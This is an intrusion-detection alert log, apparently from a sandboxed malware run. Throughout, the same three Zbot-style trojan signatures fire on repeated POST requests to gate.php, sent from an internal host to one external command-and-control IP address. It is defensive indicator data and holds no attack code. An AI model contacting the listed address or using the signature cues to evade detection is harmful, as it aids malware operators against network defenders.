08/15/21-08:40:36.701082	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:36.839909	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:36.839909	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:36.839909	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:36.981270	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:36.981270	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:36.981270	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:37.121469	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:37.121469	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:37.121469	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:37.262456	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:37.262456	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:37.262456	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:37.404966	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:37.404966	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:37.404966	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:37.543117	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:37.543117	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:37.543117	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:37.683760	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:37.683760	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:37.683760	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:37.824981	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:37.824981	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:37.824981	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:37.965845	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:37.965845	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:37.965845	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:38.106984	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:38.106984	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:38.106984	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:38.263155	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:38.263155	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:38.263155	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:38.403997	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:38.403997	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:38.403997	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:38.545075	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:38.545075	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:38.545075	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:38.684525	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:38.684525	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:38.684525	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:38.825416	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:38.825416	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:38.825416	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:38.965908	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:38.965908	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:38.965908	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:39.105766	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:39.105766	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:39.105766	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:39.257202	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:39.257202	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:39.257202	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:39.402948	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:39.402948	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:39.402948	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:39.543118	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:39.543118	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:39.543118	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:39.684472	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:39.684472	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:39.684472	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:39.824967	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:39.824967	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:39.824967	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:39.967690	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:39.967690	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:39.967690	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:40.106610	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:40.106610	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:40.106610	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:40.249345	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:40.249345	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:40.249345	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:40.391586	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:40.391586	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:40.391586	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:40.530113	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:40.530113	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:40.530113	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:40.669047	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:40.669047	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:40.669047	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:40.809721	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:40.809721	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:40.809721	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:40.949828	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:40.949828	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:40.949828	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:41.089957	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:41.089957	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:41.089957	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:41.247190	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:41.247190	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:41.247190	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:41.389234	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:41.389234	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:41.389234	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:41.530684	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:41.530684	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:41.530684	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:41.688724	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:41.688724	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:41.688724	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:41.858367	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:41.858367	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:41.858367	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:41.996935	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:41.996935	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:41.996935	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:42.144425	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:42.144425	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:42.144425	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:42.299937	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:42.299937	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:42.299937	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:42.451170	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:42.451170	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:42.451170	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:42.669027	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:42.669027	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:42.669027	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:42.997235	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:42.997235	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:42.997235	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:43.170107	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:43.170107	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:43.170107	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:43.473793	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:43.473793	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:43.473793	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:43.716065	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:43.716065	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:43.716065	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:43.885575	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:43.885575	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:43.885575	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:44.155806	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:44.155806	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:44.155806	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:44.799241	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:44.799241	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:44.799241	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:44.953490	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:44.953490	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:44.953490	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:45.107585	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:45.107585	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:45.107585	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:45.248033	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:45.248033	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:45.248033	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:45.392226	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:45.392226	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:45.392226	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:45.543879	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:45.543879	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:45.543879	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:45.685314	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:45.685314	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:45.685314	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:45.825541	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:45.825541	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:45.825541	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:45.965918	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:45.965918	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:45.965918	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:46.106588	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:46.106588	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:46.106588	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:46.248264	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:46.248264	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:46.248264	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:46.392714	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:46.392714	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:46.392714	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:46.529039	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:46.529039	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:46.529039	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:46.670260	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:46.670260	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:46.670260	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:46.810028	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:46.810028	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:46.810028	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:46.950564	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:46.950564	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:46.950564	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:47.090581	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:47.090581	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:47.090581	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:47.234888	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:47.234888	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:47.234888	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:47.373622	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:47.373622	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:47.373622	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:47.514084	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:47.514084	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:47.514084	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49753	80	192.168.2.4	94.103.80.169
08/15/21-08:40:47.671143	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49753	80	192.168.2.4	94.103.80.169
